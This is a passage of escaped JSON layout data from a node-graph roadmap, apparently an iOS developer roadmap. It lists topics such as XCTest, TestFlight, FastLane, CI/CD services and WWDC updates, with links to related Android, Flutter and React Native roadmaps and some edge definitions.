\"position\": {\n        \"x\": 222.15193584006727,\n        \"y\": 3765.0741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        },\n        \"oldId\": \"tRGa3-KBDwc7pCZi7Bdh0\"\n      },\n      \"zIndex\": -999,\n      \"width\": 213,\n      \"height\": 171,\n      \"style\": {\n        \"width\": 213,\n        \"height\": 171\n      },\n      \"positionAbsolute\": {\n        \"x\": 222.15193584006727,\n        \"y\": 3765.0741149111323\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 171\n      }\n    },\n    {\n      \"id\": \"5589B1DKaCd-9l9DfKH3o\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 222.15193584006727,\n        \"y\": 3762.0741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Unit & UI Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PdzCQXZIivw3zCYPtokJV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 213,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 213,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 222.15193584006727,\n        \"y\": 3762.0741149111323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xZmBJVq5FHNdm1BDuZbbS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 232.15193584006727,\n        \"y\": 3822.5741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"XCTest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"k3uHcF0CsyHr6PK95UwR1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 232.15193584006727,\n        \"y\": 3822.5741149111323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZQSUKPbXZl5yKra2ap8JR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 231.65193584006727,\n        \"y\": 3876.5741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"XCUITest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Jsu5f6QASpuvpky_W5q-O\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 231.65193584006727,\n        \"y\": 3876.5741149111323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uczkyc30K_qqcarZCGTdF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 222.15193584006727,\n        \"y\": 3944.0741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Test Plan & Coverage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5589B1DKaCd-9l9DfKH3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 213,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 213,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 222.15193584006727,\n        \"y\": 3944.0741149111323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IX_c1JTc1jVpPUhYRtEfg\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 484.6806963612522,\n        \"y\": 4074.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"App Distribution\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"GtK5YThTHPSetosY0WMRw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 183,\n      \"height\": 64,\n      \"positionAbsolute\": {\n        \"x\": 484.6806963612522,\n        \"y\": 4074.7912124800087\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 64\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 64\n      }\n    },\n    {\n      \"id\": \"iZAXQKLe2LaIIifVFtFOL\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 257.37947885298604,\n        \"y\": 4184.29121248001\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"App Store Distribution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OZZ3UnWN2gFflbM_WaJ8H\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 257.37947885298604,\n        \"y\": 4184.29121248001\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"KCJgCjMJGxIcf13XSEclO\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 66.53089825044697,\n        \"y\": 4184.29121248001\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TestFlight\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iZAXQKLe2LaIIifVFtFOL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 66.53089825044697,\n        \"y\": 4184.29121248001\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_W3vb0b14FrWB2fH7DHC7\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -133.02142387891507,\n        \"y\": 4184.29121248001\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"FastLane\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KCJgCjMJGxIcf13XSEclO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -133.02142387891507,\n        \"y\": 4184.29121248001\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U4xE1enkZxUME0j0gutae\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -133.02142387891507,\n        \"y\": 4019.7912124800096\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CI / CD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_W3vb0b14FrWB2fH7DHC7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -133.02142387891507,\n        \"y\": 4019.7912124800096\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TrblGyy81Oep2CBxoZkaf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -470.0214238789151,\n        \"y\": 3911.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Jenkins\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WxshXCloVDkVkQV0JvI1w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -470.0214238789151,\n        \"y\": 3911.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tWxuFh0xDugdplnHt_G0e\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -470.0214238789151,\n        \"y\": 3965.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CircleCI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Y24WWPej0C7-FiBeXpvl3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -470.0214238789151,\n        \"y\": 3965.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LltERZaHsI-R_3O_3twpk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -472.0214238789151,\n        \"y\": 4019.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitHub Actions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TrblGyy81Oep2CBxoZkaf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -472.0214238789151,\n        \"y\": 4019.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VylaBSDAVFzveVfytI1Fz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -472.0214238789151,\n        \"y\": 4073.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitLab\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tWxuFh0xDugdplnHt_G0e\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -472.0214238789151,\n        \"y\": 4073.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"r3fNx1Hk_TGlQSDtRnXqF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -472.0214238789151,\n        \"y\": 4127.791212480009\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Azure DevOps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VylaBSDAVFzveVfytI1Fz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -472.0214238789151,\n        \"y\": 4127.791212480009\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jZpH-T2hW-XBdprVqemGi\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -404.4940790252072,\n        \"y\": 4322.29121248001\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"App Store Optimization (ASO)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_W3vb0b14FrWB2fH7DHC7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 275,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 275,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -404.4940790252072,\n        \"y\": 4322.29121248001\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 275,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lse0W6_nPrjGJGW2bVFfM\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -46.02142387891507,\n        \"y\": 4313.79121248001\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Continuous Learning\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"IX_c1JTc1jVpPUhYRtEfg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": -46.02142387891507,\n        \"y\": 4313.79121248001\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 228,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"fOOQurIL1w3PwH5Mep9x1\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 389.5235851135475,\n        \"y\": 4322.29121248001\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Keeping Updated with WWDC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jZpH-T2hW-XBdprVqemGi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 293,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 293,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 389.5235851135475,\n        \"y\": 4322.29121248001\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 293,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"e7qVpQeu2iQL0c9MOMCVe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 389.5235851135475,\n        \"y\": 4416.29121248001\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Latest Swift Version\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7s9Elv80TbZX_-NZpyutj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 293,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 293,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 389.5235851135475,\n        \"y\": 4416.29121248001\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 293,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SBlLNfyWzzhdFNtNtkLet\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 389.5235851135475,\n        \"y\": 4470.29121248001\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Latest iOS SDK\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"e7qVpQeu2iQL0c9MOMCVe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 293,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 293,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 389.5235851135475,\n        \"y\": 4470.29121248001\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 293,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0dbdUmWvTIJ0fkUuLp9gR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 389.5235851135475,\n        \"y\": 4524.29121248001\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"New Feature Announcements\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SBlLNfyWzzhdFNtNtkLet\"\n      },\n      \"zIndex\": 999,\n      \"width\": 293,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 293,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 389.5235851135475,\n        \"y\": 4524.29121248001\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 293,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XzXLGjJr2F8Ln7gP0e5N8\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -131.52142387891513,\n        \"y\": 4457.871616221306\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Have a look at the following relevant tracks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"jXtqI8k4Abz-vr01IcpWL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 402,\n      \"height\": 113,\n      \"positionAbsolute\": {\n        \"x\": -131.52142387891513,\n        \"y\": 4457.871616221306\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 402,\n        \"height\": 113\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 402,\n        \"height\": 113\n      }\n    },\n    {\n      \"id\": \"4fauwiq2CJnzDA7Z9Pmeo\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -119.18102870413122,\n        \"y\": 4511.679985574316\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Android\",\n        \"href\": \"https://roadmap.sh/android\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"eYziHRN-gsg9qr8Yddu2K\"\n      },\n      \"zIndex\": 999,\n      \"width\": 120,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -119.18102870413122,\n        \"y\": 4511.679985574316\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eYziHRN-gsg9qr8Yddu2K\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 4.958673919434659,\n        \"y\": 4511.679985574316\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Flutter\",\n        \"href\": \"https://roadmap.sh/flutter\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 4.958673919434659,\n        \"y\": 4511.679985574316\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kcOaZuvgtQ1ptjTvKfd2l\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 113.09837654300054,\n        \"y\": 4511.679985574316\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React Native\",\n        \"href\": \"https://roadmap.sh/react-native\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"eYziHRN-gsg9qr8Yddu2K\"\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 113.09837654300054,\n        \"y\": 4511.679985574316\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YzJVkZbOzgp5w9N0IQBN_\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -75.02142387891507,\n        \"y\": 2943.373778518592\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Storage\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FZnpJdb7tdXkmThId2bs_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 65,\n      \"positionAbsolute\": {\n        \"x\": -75.02142387891507,\n        \"y\": 2943.373778518592\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 132,\n        \"height\": 65\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 65\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"dFn6kGOoJ-0BzJJEb9DSG\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"arkF7QJJRbCBYWp0crqa2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3oInpqvTSSC5_K6i7j8N7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"HNVw8OboycWKLEtEbG2bn\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"auB7Png72XjmhcLr3IJA7\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"2aoDIr80lXSJLW1hIGUkb\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NMznG9mo2wzNFnjhg990f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"m-_y7nLeYFkUKGiacxWA0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gc_7cuIO2_joKlQRAPDfX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"G7pXuJfkyt2nWAOHU8yV0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rrrvATyhXqRgJGWI3z0WF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AvbMQ5vY3ip1oX_6Yq4ie\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2_6Yz3-Agx9_rEN5xW86c\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"1AJv95mTLpR7L8KBoGym8\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"kgMI98fg2-mKMgUs0wnjD\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0etAs56EeBfh_0IlAaSra\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"ts38Q2ceHs60TJscUBZVE\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": 